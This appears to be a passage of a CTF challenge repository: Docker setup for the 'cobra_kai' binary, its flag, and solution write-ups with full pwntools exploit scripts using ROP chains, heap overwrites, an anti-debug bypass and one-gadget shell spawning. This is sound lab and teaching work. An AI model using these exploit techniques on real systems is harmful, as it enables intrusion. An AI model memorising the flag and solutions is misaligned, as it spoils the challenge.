0xa0]` gadget located at `setcontext+53`. This allowed me to pivot the stack to the next chunk I freed. Unfortunately, seccomp means that we'll also need to pwn the forked server process. 33 | 34 | After using a rop chain to leak the stack and thus stack canary, I was ready to send a poisoned message to the server. To do this, I used the lack of checks on the passed in `pass_len` in `create_user`. 35 | 36 | ```c 37 | memcpy(pass_old,password,(long)pass_len); 38 | ``` 39 | 40 | This copies an attacker controlled value into a fixed 64 byte buffer on the stack. Because we had previously leaked the canary, it was easy to perform a buffer overflow attack. Luckily, the name of users is stored in binary space, meaning I could put the argument to system at a known location by hiding it in the name. 41 | 42 | ```python 43 | p.send( 44 | p16(1) + p16(0) 45 | + p16(0x110) 46 | + "cat /home/ctf/flag\x00".ljust(64, "A") 47 | + "B" * 0x48 + p64(cleak) + p64(0) 48 | + p64(prdi) + p64(0x605d50) 49 | + p64(leak + 283552) 50 | ) 51 | ``` 52 | 53 | # Script 54 | ```python 55 | from pwn import * 56 | 57 | p = remote("localhost", 2323) 58 | #p = process("./friend_net") 59 | 60 | p.sendlineafter("speed):", "99") 61 | 62 | def bash(): 63 | chrs = ["a", "c", "d", "e", "j"] 64 | for i1 in range(len(chrs)): 65 | print(str(i1) + " / 4") 66 | for i2 in range(len(chrs)): 67 | for i3 in range(len(chrs)): 68 | for i4 in range(len(chrs)): 69 | p.sendlineafter(">", "1") 70 | p.sendlineafter(":", "admin") 71 | sleep(0.01) 72 | p.sendlineafter(":", chrs[i1] + chrs[i2] + chrs[i3] + chrs[i4]) 73 | 74 | p.recvuntil("with user id ") 75 | 76 | val = int(p.recvline()) 77 | if val != -1: 78 | print("Logged in") 79 | return 80 | 81 | print("FAILED") 82 | exit(1) 83 | 84 | p.sendlineafter(">", "1") 85 | p.sendlineafter(":", "reg") 86 | sleep(0.01) 87 | p.sendlineafter(":", "ABC123") 88 | 89 | p.sendlineafter(">", "4") 90 | p.sendlineafter("ID:", "14") 91 | 92 | bash() 93 | 94 | p.sendlineafter(">", "8") 95 | p.sendlineafter(">", "1") 96 | p.sendlineafter(":", str(0x207)) 97 | sleep(0.01) 98 | p.sendlineafter("No.:", "A") 99 | 100 | stdout = 6312160 101 | p.sendafter("Data:", "A" * 512 + p64(stdout)[:6]) 102 | 103 | p.sendlineafter(">", "2") 104 | p.recvuntil("version ") 105 | 106 | leak = u64(p.recvline(keepends=False).ljust(8, "\x00")) - 3954208 107 | print(hex(leak)) 108 | 109 | p.sendlineafter(">", "3") 110 | p.sendlineafter(":", str(0x207)) 111 | sleep(0.01) 112 | p.sendlineafter("No.:", "A") 113 | # freehook 114 | p.sendafter("Data:", "A" * 512 + p64(leak + 3958696)[:6]) 115 | 116 | setcontext = 293712 117 | p.sendlineafter(">", "3") 118 | p.sendlineafter(":", str(0x207)) 119 | sleep(0.01) 120 | p.sendafter("No.:", p64(leak + setcontext + 53)) 121 | sleep(0.01) 122 | p.sendafter("Data:", "A" * 512 + p64(0x605320)[:6]) 123 | 124 | p.sendlineafter(">", "5") 125 | p.sendlineafter(":", "AAAA") 126 | 127 | p.sendlineafter(">", "4") 128 | p.recvuntil("version ") 129 | hleak = u64(p.recvline(keepends=False).ljust(8, "\x00")) + 0x0000000001d5e280 - 0x0000000001d5e070 130 | print(hex(hleak)) 131 | 132 | ret = 0x402b8a 133 | prax = leak + 0x0003a8b0 134 | prdi = leak + 0x0008e1b7 135 | prsi = leak + 0x00124f9b 136 | prdx = leak + 0x00001b92 137 | prsp = leak + 0x00054d9b 138 | sys = leak + 0x00122258 139 | 140 | print(hex(sys)) 141 | 142 | buff = 0x606100 143 | fstack = hleak + 0x3000 144 | 145 | environ = 3960632 146 | p.sendlineafter(">", "5") 147 | p.sendlineafter(":", "A" * 0xa0 + p64(hleak + 0xa0 + 0x10) + p64(ret) 148 | + p64(prax) + p64(1) + p64(prdi) + p64(1) 149 | + p64(prsi) + p64(leak + environ) 150 | + p64(prdx) + p64(8) + p64(sys) + p64(prax) + p64(0) 151 | + p64(prdi) + p64(0) + p64(prsi) + p64(fstack) 152 | + p64(prdx) + p64(0x800) + p64(sys) 153 | + p64(prsp) + p64(fstack - 8) 154 | ) 155 | 156 | p.sendlineafter(">", "6") 157 | p.sendlineafter(":", "1") 158 | 159 | sleep(0.5) 160 | ui.pause() 161 | 162 | p.recv(1) 163 | 164 | sleak = "" 165 | for i in range(8): 166 | sleak += p.recv(1) 167 | 168 | sleak = u64(sleak) 169 | print(hex(sleak)) 170 | 171 | p.send( 172 | p64(prax) + p64(1) + p64(prdi) + p64(1) + p64(prsi) + p64(sleak - 0x100) 173 | + p64(prdx) + p64(8) + p64(sys) + p64(prax) + p64(0) + p64(prdi) + p64(0) 174 | + p64(prsi) + p64(buff) + p64(prdx) + p64(0x200) + p64(sys) 175 | + p64(prax) + p64(1) + p64(prdi) + p64(8) + p64(prsi) + p64(buff) + p64(prdx) 176 | + p64(0x200) + p64(sys) + p64(0x4016db) 177 | ) 178 | 179 | sleep(0.01) 180 | 181 | cleak = "" 182 | for i in range(8): 183 | cleak += p.recv(1) 184 | 185 | cleak = u64(cleak) 186 | print(hex(cleak)) 187 | 188 | p.send( 189 | p16(1) + p16(0) + p16(0x110) + "cat /home/ctf/flag\x00".ljust(64, "A") + 190 | "B" * 0x48 + p64(cleak) + p64(0) + p64(prdi) + p64(0x605d50) + p64(leak + 283552) 191 | ) 192 | 193 | sleep(0.01) 194 | p.interactive() 195 | ``` -------------------------------------------------------------------------------- /binary-2020-12-2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get update -y && apt-get upgrade -y && apt-get install socat -y 7 | RUN apt-get install vim python-pip tmux git libssl-dev libffi-dev build-essential python-dev -y && pip install pwntools 8 | 9 | # Create ctf-user 10 | RUN groupadd -r ctf && useradd -r -g ctf ctf 11 | 12 | # Challenge files 13 | ADD challenge/flag /home/ctf/flag 14 | ADD challenge/cobra_kai /home/ctf/cobra_kai 15 | ADD challenge/ld.so /home/ctf/ld.so 16 | ADD challenge/libc.so /home/ctf/libc.so 17 | ADD challenge/helper.sh /home/ctf/helper.sh 18 | ADD challenge/launch.sh /home/ctf/launch.sh 19 | 20 | # Set some proper permissions 21 | RUN chown -R root:ctf /home/ctf 22 | RUN chmod 750 /home/ctf/cobra_kai 23 | RUN chmod 750 /home/ctf/launch.sh 24 | RUN chmod 750 /home/ctf/helper.sh 25 | RUN chmod 440 home/ctf/flag 26 | 27 | USER ctf 28 | ENTRYPOINT cd /home/ctf && /home/ctf/launch.sh 29 | -------------------------------------------------------------------------------- /binary-2020-12-2/README.md: -------------------------------------------------------------------------------- 1 | # Welcome to our 2nd December - 2020 challenge 2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it! 3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a 300$ Amazon gift card. 4 | 5 | Solutions should be provided in: 6 | 1. python2 or python3 (preferred) form 7 | 2. Solution should connect via port 2325 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script 8 | 3. If you are not using existing modules, provide a `requirements.txt` file 9 | 10 | ## Notes on files under challenge folder 11 | While the `flag`, `cobra_kai` (hash: 872dad296686b8a13bd09947e6c2190c8fd0433b373ed747071f02c252f36741), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment. 12 | 13 | 14 | ## Notes on setting on the ENV for the challenge 15 | ### Build container 16 | ```bash 17 | sudo docker build --tag cobra_kai . 18 | ``` 19 | 20 | ### Run container with port 2325 being exposed 21 | ```bash 22 | sudo docker run --detach -p 2325:2325 cobra_kai 23 | ``` 24 | 25 | ### Debugging 26 | ```bash 27 | sudo docker exec -it bash 28 | ``` 29 | -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/cobra_kai: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/cobra_kai -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/flag: -------------------------------------------------------------------------------- 1 | S3D{NX_ASLR_P1E_Fu11-R3Lr0_CFG_Saf9-S1A3K_F0R1fY_AR3_N0t_3n0UGH!} 2 | -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/helper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | TERM=xterm LD_PRELOAD="./libc.so" ./ld.so ./cobra_kai 4 | -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/launch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export TERM=xterm 4 | socat TCP-LISTEN:2325,reuseaddr,fork EXEC:"./cobra_kai" 5 | -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/ld.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/ld.so -------------------------------------------------------------------------------- /binary-2020-12-2/challenge/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/libc.so -------------------------------------------------------------------------------- /binary-2020-12-2/deploy.sh: -------------------------------------------------------------------------------- 1 | # Notes on setting on the ENV for the challenge 2 | # Build container 3 | sudo docker build --tag cobra_kai . 4 | 5 | # Run container with port 2325 being exposed 6 | sudo docker run --detach -p 2325:2325 cobra_kai 7 | 8 | # Debugging 9 | # sudo docker exec -it bash 10 | -------------------------------------------------------------------------------- /binary-2020-12-2/solution/README.md: -------------------------------------------------------------------------------- 1 | # SSD December Challenge - 2 (by Juno Im of [theori](https://theori.io) - [@junorouse](https://twitter.com/junorouse)) 2 | 3 | ## Introduction 4 | 5 | This program (cobra_kai) is a Tekken game that can play with an AI computer. Users can train their character to fight with AI, save/load the game, and leave a message when they defeat the boss. 6 | 7 | ### Anti-Reverse Engineering Features 8 | 9 | #### MSB *unknown arch 0x3e00* (SYSV) 10 | 11 | When you open the binary with gdb, it says `"cobra_kai": not in executable format: file format not recognized.`. To bypass this, you need to patch the sixth byte (0x02) to 0x01. 12 | 13 | ``` 14 | 00000000: 7f45 4c46 02 [02] 0100 0000 0000 0000 0000 .ELF............ 15 | 00000010: 0300 3e00 0100 0000 302c 0000 0000 0000 ..>.....0,...... 16 | 00000020: 4000 0000 0000 0000 c832 0200 0000 0000 @........2...... 17 | 00000030: 0000 0000 4000 3800 0a00 4000 1b00 1a00 ....@.8...@..... 18 | ``` 19 | 20 | ``` 21 | juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai 22 | cobra_kai: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV) 23 | vjuno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ vi cobra_kai 24 | juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai 25 | cobra_kai: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped 26 | ``` 27 | 28 | #### PTRACE 29 | 30 | At 20 rounds, there is a check if the program is debugged. To bypass this, you have to change call instruction to nop (`\x90`) instruction. 31 | 32 | ```c 33 | if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) ) 34 | { 35 | _fprintf_chk(stderr, 1LL, "Tracer detected!\n"); 36 | exit(1); 37 | } 38 | ``` 39 | 40 | ## Vulnerabilities 41 | 42 | ### Vulnerability A - OOB Read 43 | 44 | The following is the code when you choose the "display previous fights" feature: 45 | 46 | ```c 47 | _printf_chk(1LL, "Which previous fight would you like to see? Enter a slot #: "); 48 | _isoc99_scanf("%d", v1 - 36); 49 | slotIndex = *(v1 - 36); 50 | if ( slotIndex < 41 ) // [1] Out of bound Read 51 | { 52 | v4 = slotIndex; 53 | *(v1 - 16) = *&game_data->fData[v4].is_win; 54 | *(v1 - 32) = *game_data->fData[v4].fighterName; 55 | _printf_chk(1LL, "Name to remember: %s\n", (v1 - 32));// leak function pointer 56 | _printf_chk(1LL, "Result: %d (duh!)\n", *(v1 - 16)); 57 | _printf_chk(1LL, "Rounds: %d\n", *(v1 - 16)); 58 | } 59 | ``` 60 | 61 | The part indicated by [1] does not perform range checks properly. It allows inducing PIE address leak by accessing 41st data of `fData` leak. 62 | 63 | ### Vulnerability B - Uninitialized Data 64 | 65 | The code to delete a user and create a new user is as follows: 66 | 67 | ```c 68 | __int64 func_delete_main_user_impl() 69 | { 70 | fighter *v0; // rax 71 | fighter *v1; // rbx 72 | fighter *v2; // rax 73 | 74 | puts("Ending current attempt"); 75 | free(g_fighter); 76 | g_fighter = 0LL; 77 | puts("Creating a NEW fighter"); 78 | v0 = malloc(0x428uLL); 79 | v1 = v0; 80 | v0->round = 0; 81 | *&v0->can_read_action = 0LL; 82 | v0->maxSlot = 40; 83 | *v0->gogo = 0LL; 84 | *&v0->characterIndex = 0LL; 85 | memset(v0->fData, 0, 0x3C0uLL); 86 | g_fighter = v1; 87 | _printf_chk(1LL, "Enter name: "); 88 | fgets(g_fighter->name, 14, stdin); 89 | strtok(g_fighter->name, "\n"); 90 | _printf_chk(1LL, "Enter anger: "); 91 | _isoc99_scanf("%lld", g_fighter); // [2], main_arena+96 92 | v2 = g_fighter; 93 | *&g_fighter->charm = xmmword_1B520; 94 | v2->strengh = 4; 95 | v2->func_a0x420 = end_fight; 96 | *v2->dummy12 = 1; 97 | puts("New Fighter Created!"); 98 | return 0LL; 99 | } 100 | ``` 101 | 102 | It uses `scanf` to read anger from a user; if you insert a plus sign(`+`) as the input value of the scanf, the value in the existing memory will be used. 103 | It allows reading uninitialized data from the freed heap, which holds the `main_arena+96` pointer since it is in the unsorted bin. 104 | 105 | ### Vulnerability C - OOB Write 106 | 107 | The following code is function `DD`, which used to process the game steps between AI and user: 108 | 109 | ```c 110 | knockback_value = 3; 111 | if ( strength >= 129 ) 112 | { 113 | v25 = rand(); 114 | if ( v25 - 10 * (v25 / 336) == 2 ) 115 | knockback_value = LOBYTE(a1->punch) + 3; // [3] 116 | } 117 | ... 118 | v3->characterIndex = v27 + knockback_value * (2 * (*v3->dummy12 != 1) - 1); 119 | ``` 120 | 121 | If the program satifies the following condition: `strength >= 129 && rand() % 10 == 2` (You can train strength over 129 if you defeat the boss), `knockback_value` is added to user's `punch` value [3]. The map drawing function uses `knockback_value` to draw the enemy's location with the following code: 122 | 123 | ```c 124 | v11 = enemy_->characterIndex; 125 | *&map[v11 + 0xF0] = *enemy_->data; // [4] 126 | *&map[v11 + 0x118] = *&enemy_->data[4]; // [4] 127 | *&map[v11 + 0x140] = *&enemy_->data[8]; // [4] 128 | ``` 129 | 130 | Because the map object's size is 400 bytes, out-of-bound write occurs in part marked [4]. 131 | 132 | # Exploit 133 | 134 | If you win a fight, the program enters a win function. The win function allows you to write your name in the index after comparing it to the maxSlot variable at marked [5]: 135 | 136 | ```c 137 | puts("Which notch on your belt will this victory go?"); 138 | v4 = 1; 139 | _printf_chk(1LL, "> "); 140 | fgets(slotIndex, 10, stdin); 141 | slot_index = strtol(slotIndex, 0LL, 10); 142 | if ( slot_index < 0 || g_fighter->maxSlot <= slot_index ) // [5] 143 | { 144 | _printf_chk(1LL, "Bad Slot"); 145 | } 146 | else 147 | { 148 | puts("What Name Shall you Remember this fighter by?"); 149 | v4 = 0; 150 | _printf_chk(1LL, "> "); 151 | v6 = slot_index; 152 | fgets(&g_fighter->fData[v6], 14, stdin); 153 | v7 = g_fighter; 154 | g_fighter->fData[v6].end_round = end_round; 155 | v7->fData[v6].is_win = 1; 156 | } 157 | ``` 158 | 159 | Using out-of-bound write vulnerability, we can overwrite the maxSlot variable of the saved fighter object (`[here]`) 160 | 161 | ```asm 162 | .bss:0000000000473DC0 ; char map[400] // map object 163 | .bss:0000000000473DC0 map db 190h dup(?) ; DATA XREF: LOAD:0000000000001308↑o 164 | .bss:0000000000473DC0 ; print_map+4↑w ... 165 | .bss:0000000000473F50 public won_by_boss 166 | .bss:0000000000473F50 won_by_boss dd ? ; DATA XREF: LOAD:0000000000001698↑o 167 | .bss:0000000000473F50 ; func_lift_impl+22↑r ... 168 | .bss:0000000000473F54 dq ? 169 | .bss:0000000000473F5C db ? ; 170 | .bss:0000000000473F5D db ? ; 171 | .bss:0000000000473F5E db ? ; 172 | .bss:0000000000473F5F db ? ; 173 | .bss:0000000000473F60 public saved_fighters 174 | .bss:0000000000473F60 ; fighter saved_fighters[8] 175 | .bss:0000000000473F60 saved_fighters fighter 8 dup() ; DATA XREF: LOAD:0000000000000D20↑o // [here] 176 | .bss:0000000000473F60 ; func_save_game_impl+22↑o ... 177 | .bss:00000000004760A0 public msg_from_mic 178 | ``` 179 | 180 | ## Strategy A - Heap Fengshui With Root User 181 | 182 | Therefore, we have out-of-bound write primitive on heap segment. Behind the fighter object on the heap, there is a ncurse_data chunk, which holds many function pointers. One of these is called inside the `endwin` function called ([6]) when you play a game. Finallay you can overwrite this value to any address and control the PC! 183 | 184 | ```c 185 | int endwin() 186 | { 187 | __int64 v0; // rax 188 | __int64 v1; // rdi 189 | 190 | v0 = HEAP_OBJ; 191 | if ( !HEAP_OBJ ) 192 | return -1; 193 | v1 = HEAP_OBJ; 194 | *(HEAP_OBJ + 728) = 1; 195 | (*(v0 + 1088))(v1); // [6] 196 | sub_1AD40(); 197 | sub_101F0(); 198 | return reset_shell_mode(); 199 | } 200 | ``` 201 | 202 | ## Script 203 | 204 | ```python 205 | #!/usr/bin/env python3 206 | from pwn import * 207 | 208 | context.terminal = ['tmux', 'splitw', '-h'] 209 | context.terminal = ['/mnt/c/Windows/System32/wsl.exe', '-e'] 210 | context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe', '--', 'sudo', 'su', '-c'] 211 | # r = process('./cobra_kai') 212 | r = remote('0', 2325) 213 | # r = remote('0', 2326) 214 | # gdb.attach(r, 'handle SIG32 nostop noprint') 215 | r.sendafter('Enter name: ', 'a'*14) 216 | r.sendlineafter('Enter anger: ', '1') 217 | 218 | def play_game(st, x=False, verbose=False): 219 | is_first = False 220 | cnt = 0 221 | while True: 222 | print(cnt, end=' ') 223 | b = r.recv(30) 224 | if b'Point' in b: 225 | break 226 | _ = r.recvuntil('|--------------------------------------|') 227 | a = r.recvuntil('|--------------------------------------|') 228 | # check enemy 229 | if verbose: 230 | print(a.decode('latin-1')) 231 | print(a.count(b'O'), a.count(b'o')) 232 | 233 | if a.count(b'O') == 1 and (a.count(b'o') == 0 or a.count(b'o') != 2) and a.count(b'o') != 1: 234 | r.send('q') 235 | print('') 236 | return False 237 | 238 | data = a.split(b'\n') 239 | if (b'^' in a or b'.' in a or b'*' in a) and not x: 240 | continue 241 | 242 | r.send(st[cnt]) 243 | cnt += 1 244 | 245 | print('') 246 | return True 247 | 248 | play_game('rrrrrrrkrkrkrk') 249 | 250 | r.sendline('') 251 | r.sendlineafter('Which notch on your belt will this victory go?', '0') 252 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'abcd') 253 | 254 | r.sendlineafter('>', '8') 255 | r.sendline('40') 256 | 257 | r.recvuntil('Name to remember: ') 258 | pie_base = u64(r.recv(6) + b'\x00\x00') - 94624 259 | print(f'pie_base: {hex(pie_base)}') 260 | 261 | 262 | r.sendlineafter('>', '7') 263 | r.sendlineafter('3. Load Game\n> ', '1') 264 | r.sendafter('Enter name: ', 'a'*14) 265 | r.sendlineafter('Enter anger: ', '+') 266 | 267 | r.sendlineafter('>', '4') # quit user menu 268 | r.sendlineafter('>', '6') 269 | 270 | r.recvuntil('Anger: ') 271 | main_arena_96 = int(r.recvuntil(',').replace(b',', b'').decode('latin-1')) # main_arena + 96 272 | libc_base = main_arena_96 - 0x3c4b78 273 | print(f'main_arena+96 : {hex(main_arena_96)}') 274 | print(f'libc_base : {hex(libc_base)}') 275 | 276 | X = 0 277 | # lift 278 | for i in range(19 + X): 279 | r.sendlineafter('>', '1') 280 | 281 | r.send('q') 282 | r.recvuntil("9. QUIT (Don't be a &(^(^)") 283 | 284 | for i in range(19): 285 | r.sendlineafter('>', '1') 286 | 287 | r.send('q') 288 | r.recvuntil("9. QUIT (Don't be a &(^(^)") 289 | 290 | for i in range(24): 291 | r.sendlineafter('>', '1') 292 | 293 | for i in range(39 - 24): 294 | r.sendlineafter('>', '3') 295 | 296 | r.send('q') 297 | r.recvuntil("9. QUIT (Don't be a &(^(^)") 298 | 299 | for i in range(50): 300 | r.sendlineafter('>', '4') 301 | r.sendlineafter('>', '1') 302 | r.sendlineafter('>', '4') 303 | r.sendlineafter('>', '2') 304 | r.sendlineafter('>', '4') 305 | r.sendlineafter('>', '3') 306 | 307 | r.sendlineafter('>', '7') 308 | r.sendlineafter('>', '2') 309 | r.sendlineafter('Slot:', '7') 310 | 311 | r.sendlineafter('>', '2') # fight 312 | r.sendlineafter('>', '5') 313 | 314 | 315 | play_game('rrrrrrrrrrrrrkrrprrdrrrdrrrprrrkdrrrdrrp'*100, x=True) 316 | r.sendline('') 317 | r.sendlineafter('Which notch on your belt will this victory go?', '1') 318 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd') 319 | r.sendlineafter('**Hands over the mic**', 'B'*40) 320 | 321 | r.sendlineafter('>', '2') # fight 322 | r.sendlineafter('>', '0') 323 | play_game('rrrrrrkpdrkpdrkpdrkpd'*30, x=True) #, verbose=True) 324 | 325 | r.sendline('') 326 | r.sendlineafter('Which notch on your belt will this victory go?', '2') 327 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd') 328 | 329 | # lift 330 | 331 | r.sendlineafter('>', '7') 332 | r.sendlineafter('>', '2') 333 | r.sendlineafter('Slot:', '0') 334 | 335 | for i in range(10): 336 | r.sendlineafter('>', '1') # lift 337 | r.sendlineafter('>', '4') 338 | r.sendlineafter('>', '2') # punch 339 | 340 | 341 | def make_fit(): 342 | while True: 343 | r.sendlineafter('>', '4') 344 | r.sendlineafter('>', '2') # punch 345 | r.sendlineafter('>', '6') 346 | r.recvuntil('Punch: ') 347 | x = int(r.recvuntil(',').replace(b',', b'')) + 3 348 | x &= 0xff 349 | x += 0x19 350 | # if (x > 0xe4 and x <= 0xe4 + 3) or 351 | if (x > 0xbc and x <= 0xbc + 3): 352 | break 353 | 354 | make_fit() 355 | 356 | r.sendlineafter('>', '7') 357 | r.sendlineafter('>', '2') 358 | r.sendlineafter('Slot:', '1') 359 | 360 | print('go...!') 361 | 362 | context.log_level = 'error' 363 | while True: 364 | print('gogo', i) 365 | r.sendlineafter('>', '7') 366 | r.sendlineafter('>', '3') 367 | r.sendlineafter('Slot:', '1') 368 | r.sendlineafter('>', '2') # fight 369 | r.sendlineafter('>', '1') 370 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True): 371 | r.sendline('') 372 | r.sendlineafter('Which notch on your belt will this victory go?', '0') 373 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd') 374 | else: 375 | r.sendlineafter('>', '7') 376 | r.sendlineafter('>', '3') 377 | r.sendlineafter('Slot:', '0') 378 | break 379 | 380 | ## heap fengsui ## 381 | 382 | r.sendlineafter('>', '7') 383 | r.sendlineafter('>', '1') 384 | r.sendlineafter('Enter name: ', 'asdf') 385 | r.sendlineafter('Enter anger: ', '3434') 386 | 387 | 388 | ''' 389 | 0x45226 execve("/bin/sh", rsp+0x30, environ) 390 | constraints: 391 | rax == NULL 392 | 393 | 0x4527a execve("/bin/sh", rsp+0x30, environ) 394 | constraints: 395 | [rsp+0x30] == NULL 396 | 397 | 0xf0364 execve("/bin/sh", rsp+0x50, environ) 398 | constraints: 399 | [rsp+0x50] == NULL 400 | 401 | 0xf1207 execve("/bin/sh", rsp+0x70, environ) 402 | constraints: 403 | [rsp+0x70] == NULL 404 | ''' 405 | 406 | ''' 407 | 0x56507a30d76b: call QWORD PTR [rdi+0x1a] 408 | 0x1f76b 409 | ''' 410 | 411 | while True: 412 | print('gogo', i) 413 | r.sendlineafter('>', '7') 414 | r.sendlineafter('>', '3') 415 | r.sendlineafter('Slot:', '0') 416 | r.sendlineafter('>', '2') # fight 417 | r.sendlineafter('>', '1') 418 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True): 419 | r.sendline('') 420 | r.sendlineafter('Which notch on your belt will this victory go?', str(85+2)) # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241> 421 | # r.sendlineafter('Which notch on your belt will this victory go?', str(357914029)) # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241> 422 | r.sendafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x4527a)) # rsp-0x30 = null 423 | # r.sendafter('What Name Shall you Remember this fighter by?', p64(0x41424344)) # rsp-0x30 = null 424 | break 425 | 426 | r.interactive() # press 2, ^C 427 | context.log_level = 'debug' 428 | first = True 429 | while True: 430 | print('gogo', i) 431 | if not first: 432 | r.sendlineafter('>', '7') 433 | r.sendlineafter('>', '3') 434 | r.sendlineafter('Slot:', '0') 435 | r.sendlineafter('>', '2') # fight 436 | r.sendlineafter('>', '1') 437 | else: 438 | r.sendline('1') 439 | first = False 440 | 441 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True): 442 | r.sendline('') 443 | r.sendlineafter('Which notch on your belt will this victory go?', '128') # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241> 444 | # r.sendlineafter('Which notch on your belt will this victory go?', '357914070') # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241> 445 | r.sendlineafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x0000000000194feb + 8)) 446 | 447 | break 448 | 449 | # gdb.attach(r, 'handle SIG32 nostop noprint') 450 | print(f'x/20gx *{hex(pie_base + 0x473F60)}') 451 | print(f'b *{hex(pie_base + 0x14e02)}') 452 | print(f'b *{hex(pie_base + 0x14e98)}') 453 | print(f'b *{hex(pie_base + 0x170e1)}') 454 | 455 | r.sendlineafter('>', '2') 456 | r.sendlineafter('>', '1') 457 | for i in range(20): 458 | r.sendline('bash') 459 | r.interactive() 460 | ``` 461 | 462 | ![](https://user-images.githubusercontent.com/8079733/103381278-ab553900-4b2e-11eb-99a5-b0b9b819eab0.png) 463 | 464 | [*Exploit Video*](https://youtu.be/5770W0e_jOI) 465 | 466 | # Strategy B - Universal Exploit 467 | 468 | The offset between the `endwin` function pointer and the first of slots are different between the root user and a standard (`ctf`) user. 469 | 470 | **Why?** 471 | 472 | "ncurses" allocates some terminal environment (`$HOME/.terminfo`) on the heap. For root users, the home folder is short(`/root`), but for the `ctf` user, the home folder is longer than the root user(`/home/ctf/`). It makes resulting in a difference in heap feng shui. So... overwriting the `endwin` function pointer is impossible under the `ctf` user because we only can overwrite 14 bytes at the address is 24 bytes aligned. Then, how can we exploit on standard user? I didn't figure out how to exploit it, but after the contest, jinmo123 and I find a way to exploit it universally. 473 | 474 | **How?** 475 | 476 | ``` 477 | 0000005C maxSlot dd ? 478 | 00000060 fData fightData 40 dup(?) 479 | 00000420 func_a0x420 dq ? 480 | ``` 481 | 482 | We can overwrite a function pointer that holds the `win` function in the fighter object. But this program has CFI mitigation to protect from the jump table pollution. The following code is the CFI mitigation code before calling the `win` function. 483 | 484 | ```asm 485 | .text:0000000000015DA4 mov rax, cs:g_fighter 486 | .text:0000000000015DAB mov rcx, [rax+420h] 487 | .text:0000000000015DB2 lea rax, win 488 | .text:0000000000015DB9 mov rdx, rcx 489 | .text:0000000000015DBC sub rdx, rax 490 | .text:0000000000015DBF rol rdx, 3Dh 491 | .text:0000000000015DC3 cmp rdx, 6; [7] 492 | .text:0000000000015DC7 jnb short loc_15E09 493 | .text:0000000000015DC9 mov edi, [rbp-0Ch] 494 | .text:0000000000015DCC call rcx 495 | ``` 496 | 497 | The part marked [7] uses 6, not 0, so you can use other jump tables around the `win` jump table. 498 | 499 | ```c 500 | .text:00000000000171A0 jmp win_impl 501 | .text:00000000000171A8 jmp check_round_impl 502 | .text:00000000000171B0 jmp start_first_round_impl 503 | .text:00000000000171B8 jmp func_delete_main_user_impl 504 | .text:00000000000171C0 jmp func_save_game_impl 505 | ``` 506 | 507 | ```c 508 | __int64 __fastcall func_save_game_impl(unsigned int a1) 509 | { 510 | _printf_chk(1LL, "Saving Game into Slot %d\n", a1); 511 | memcpy(&saved_fighters[a1], g_fighter, 0x428uLL); 512 | return 0LL; 513 | } 514 | ``` 515 | 516 | If you look at func_save_game_impl, you can see that the current game can be saved to the first argument as an index, which holds the fighting end round. Since the `saved_fighters` object's length is 8, you can get an out-of-bound write one more! 517 | 518 | ``` 519 | .bss:0000000000473F60 saved_fighters fighter 8 dup() ; DATA XREF: LOAD:0000000000000D20↑o // [here] 520 | .bss:0000000000473F60 ; func_save_game_impl+22↑o ... 521 | .bss:00000000004760A0 public msg_from_mic 522 | ``` 523 | 524 | There is a pointer behind the `saved_fighters` object that can be written after you defeat the boss, finally overwriting this pointer allows you to write everything on any addresses! (the first offset of the game object is an anger value, which can make it anything when you make a new character[=fighter]) 525 | -------------------------------------------------------------------------------- /binary-2020-12/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get update -y && apt-get install socat -y 7 | RUN apt-get install vim python-pip tmux git libssl-dev libffi-dev build-essential python-dev -y && pip install pwntools 8 | 9 | # Create ctf-user 10 | RUN groupadd -r ctf && useradd -r -g ctf ctf 11 | 12 | # Challenge files 13 | ADD challenge/flag /home/ctf/flag 14 | ADD challenge/checker /home/ctf/checker 15 | ADD challenge/ld-2.23.so 